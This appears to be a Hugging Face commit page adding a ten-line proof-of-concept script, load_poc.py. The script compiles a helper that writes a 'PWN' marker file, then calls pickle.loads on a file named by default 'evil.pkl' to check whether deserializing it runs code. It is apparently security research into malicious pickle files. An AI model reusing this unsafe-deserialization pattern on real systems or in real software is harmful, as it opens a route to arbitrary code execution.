AeonAIRisk commited on
Commit
54744b4
·
verified ·
1 Parent(s): 1566167

Upload load_poc.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. load_poc.py +10 -0
load_poc.py ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ import pickle, sys, py_compile
2
+ from pathlib import Path
3
+ p=Path(sys.argv[1]) if len(sys.argv)>1 else Path('evil.pkl')
4
+ TMP=Path(r'C:/Users/uozer/AppData/Local/Temp/opencode')
5
+ src=TMP/'w52v_ssl_src.py'; pyc=TMP/'w52v_ssl.pyc'; marker=TMP/'w52_ssl_marker.txt'
6
+ if marker.exists(): marker.unlink()
7
+ src.write_text(f"open(r'{marker}','w').write('PWN')\n")
8
+ py_compile.compile(str(src), cfile=str(pyc), doraise=True)
9
+ pickle.loads(p.read_bytes())
10
+ print('MARKER', marker.exists())